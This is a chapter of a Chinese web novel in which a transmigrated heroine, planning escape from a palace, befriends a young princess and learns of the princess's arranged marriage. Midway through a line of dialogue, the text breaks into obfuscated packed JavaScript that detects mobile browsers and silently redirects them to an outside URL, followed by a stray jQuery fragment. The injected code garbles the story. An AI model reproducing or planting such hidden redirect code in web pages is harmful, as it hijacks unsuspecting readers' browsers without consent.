17. 媞兰

作品:《囚她

    第二天,纪吟在主殿外的院子里踢起了毽子。


    此时日暖风轻,最适合出门活动。


    穿越以来纪吟努力吃饭,虽把原主病弱的身体养了回来,长了些肉,体质依旧比不上寻常人。


    身体是革命的本钱,她打定主意要逃,自然要把想办法把身体素质提上来,不然到时跑路都跑不动。


    先前在路上没条件锻炼,现在她暂时迷惑住了段伏归,又表现出顺从的态度,得到他许诺的名分,她心情不错,玩儿玩儿女儿家的小游戏很正常吧,还能让监视她的人把情况汇报上去,趁机让他放松警惕,一举两得。


    不过踢毽子看着轻松,实则尤其耗费体力。


    她来到院子里,不过踢了两轮,还不到半刻钟,居然就有些喘气了。


    真弱啊!


    纪吟歇了一分钟,待喘得没那么厉害了,才又继续踢起来。


    就在这时,宫门口出现了道俏丽的身影。


    媞兰一进门就看到衣袂翩跹的纪吟,看她绯红烟紫的裙裾随着她踢毽子的动作翻飞舞动,一层一层的轻纱好似天边的晚霞飘荡聚散,一时被惊艳了愣在原地。


    纪吟注意到这个年轻陌生的姑娘,停下动作,轻轻看过来。


    她大约十四五岁,臂挽金钏,一头彩绳混编发辫,下坠红蓝宝石,明快靓丽。


    一旁侍候的尤丽赶紧朝媞兰行礼,“见过媞兰公主。”又朝纪吟道,“媞兰公主是陛下最小的公主,与三皇子殿下很亲近。”


    纪吟明白了,朝媞兰露出一个矜持友好的笑,却没说话,然后便见那小姑娘像只漂亮的小马驹一样轻快地跨进了院中。


    媞兰来到纪吟面前,离得近了,才清晰看到纪吟的模样,只见她五官尤其精致,仿佛一笔一画勾勒出来的,肌肤雪白,因为运动脸颊泛起团团潮红,额角还渗出细密的汗珠,此刻娇喘微微,却反衬得她娇艳明媚,人比花娇;偏她脊背挺直,眼神清正,通身一股矜傲自持的气质,硬生生压住了这份娇艳,竟叫人不敢随意亵渎。


    媞兰可算知道为什么这么多年一向对女人不假辞色的皇兄会留下这个齐国公主,还要封她为夫人了,便是她自己见到这样的美色也不能不心动。


    “媞兰冒昧前来,阿嫂不介意吧。”小姑娘脆生生开口,声音甜美。


    纪吟听到她对自己的称呼,眼神顿了下,随即摇了摇头,脸上似有几分羞涩,“还没举行典礼,我还不是……不敢当媞兰公主一句‘阿嫂’。”


    媞兰见她语调柔和,神态可亲,看出她是个好相处的性子,主动上前一步挽住她胳膊,“当得起!”又用夸张的的语气说,“以前皇兄对下面的女人看都不看一眼,我今天才知道,原来是要阿嫂这样的。”


    简单一句话,既点明了段伏归身边没有受宠的女人,又捧了她,语气又如此直白真诚,换作寻常依附男子而生的女子恐怕没有不高兴的,纪吟根本不在乎这些,面上倒也装出了两分喜悦和羞涩,忙自谦了两句。


    “一直站在外面实在失礼,我们进屋说吧。”纪吟道,吩咐陶儿上茶,又说自己现在仪容不雅,请她稍等片刻,自己去整理整理。


    纪吟走后,媞兰四下观察殿中的摆设,只见中间一麒麟宝座,上铺青缎刺绣忍冬团纹坐垫,座前一张紫檀黑漆蟠螭桌案,上置一错金铜博山炉,此时正冒着袅袅轻烟,一室宁香,再看宝座后的绘春夏秋冬四折屏风,柱间悬挂的缕金幔帐,落地青铜花树灯台,无不精致华美,可见皇兄是真上心了。


    片刻后,纪吟洗过脸、换好衣裳出来,先道了两句歉,又道:“我进宫这么多天了,整日里无事可做,实在闷得很,还是头次有人来。”


    媞兰立马接道:“那我以后常来,阿嫂可不要嫌我烦人。”


    “怎么会,我见你投缘,只盼着你来跟我说说话儿。唉,不怕你笑话,我是齐国人,不会说燕国的鲜卑语,更不要说交朋友了。”纪吟语气惆怅。


    媞兰面上不显,心里却有几分高兴。


    纪吟又问:“你是燕国人,竟能把汉话说得这么好?”


    媞兰笑着道:“皇兄的阿妈有一半汉人血脉,会说汉语,我小时候跟在阿妈身边长大,就学会了几句。”


    “原来是这样。”纪吟点点头。难怪段伏归的汉语说得这么流利,这么看来,段伏归身上还有四分之一汉人血统呢。


    这时陶儿端来两盘点心,纪吟推到她面前:“这是我们南边的风味,你尝尝合不合口味。”


    媞兰拿起一块红豆玉酥,咬了一口,外皮酥脆,内里的红豆绵软香甜,吃完唇齿留香,实在可口。


    “好吃,我喜欢!”


    “你平日在宫里都玩儿些什么?”纪吟一边招待她一边聊些家常。


    “也没什么好玩儿的,喂喂鱼骑骑马,还要上课学汉字……”


    “汉字?”


    “是啊。”媞兰点点头,“父皇定下的规矩,鼓励族内学习汉字,他还主动穿汉服呢。”


    纪吟十分意外,但结合她脑中的记忆,便明白燕国虽是胡人政权,但他们内迁已经数十年了,又与本地汉人杂居,各族或多或少都在汉化,也只有不断汉化改革,他们的政权才能在这片中原大地生存下去。


    “我不喜欢上课,我喜欢骑马射箭,不过宫里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643742|172363||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地方小,根本施展不开,一不小心还容易撞到人,我更喜欢去宫外骑马,尤其是菱阳河边。唉,可惜因为前不久那件事,宫里宫外到处都戒备森严,皇兄也不许我随便出宫,我都好久没出去玩儿了。”提起这事儿,小姑娘的表情肉眼可见地低落下来。


    纪吟想了想道:“现在局势已经稳定下来了,相信要不了多久就能像从前那样了,我入宫前去过一次东市,看到几家绸缎铺子,花样新鲜又好看,还有家首饰铺子也不错,我们下次可以一起去。”


    “好啊好啊。”媞兰顿时高兴起来。


    聊着天,时间一晃而过,媞兰终于发现自己待得够久了,连忙提出告辞。


    待人走后,纪吟独自坐了会儿,又把尤丽叫到内室来。


    “你给我说说媞兰公主的事吧。”


    尤丽不知她具体想听什么,想了想,斟酌着说:“媞兰公主是陛下最小的公主,她母亲叫浑珂,只是一个普通女子,十几年前,浑珂娘娘的兄长在陛下帐下当差,一次在战场上替陛下挡了一箭,结果没救回来,陛下答应照顾他的家人,就把媞兰公主的母亲收在了身边。可惜浑珂娘娘生下媞兰公主没多久就去世了,陛下就把媞兰公主交给了三皇子的母亲莲夫人抚养,所以媞兰公主从小就跟三皇子亲近,只是后来三皇子外出打仗很少回宫,莲夫人也病亡了,媞兰公主在宫里就有些孤零零的。”


    “或许就是因为这,媞兰公主才主动来见您,您毕竟是三皇子的第一个夫人。”


    尤丽说完,去看纪吟的脸,只见她神色淡淡的,不知道满意还是不满意,绞尽脑汁想了想,又说:“对了,还有件事。”


    纪吟看过来。


    “两个月前,先皇陛下给媞兰公主定了一门婚事,是左卫军统领呼延垂的儿子呼延启,婚期就在下月。”尤丽小声说。


    这下纪吟明白媞兰为什么主动来见自己了。


    她跟段伏归虽是兄妹,却并非同母,如今燕皇死了,接下来是段伏归当家做主,然而段伏归忙着外面的事,对这个妹妹的关心也有限,等她出嫁后要再见段伏归就更难了。


    自己是段伏归的宠妃,至少在外人眼里他很宠自己,媞兰与自己打好关系,让自己在段伏归面前多关照她,或是常进宫探望她,媞兰在段伏归那儿便能多几分存在感。


    这样的行径虽有些私心,但纪吟看得出媞兰没什么坏心,她并不讨厌,相反,多出现一个人,她就多一分机会,甚至今日交谈时她还刻意同媞兰交好。


    晚上,洗漱完,纪吟穿着一身素绸寝衣,坐在美人榻上,一手拿着书一边在心里琢磨着怎么突破,段伏归突然来了。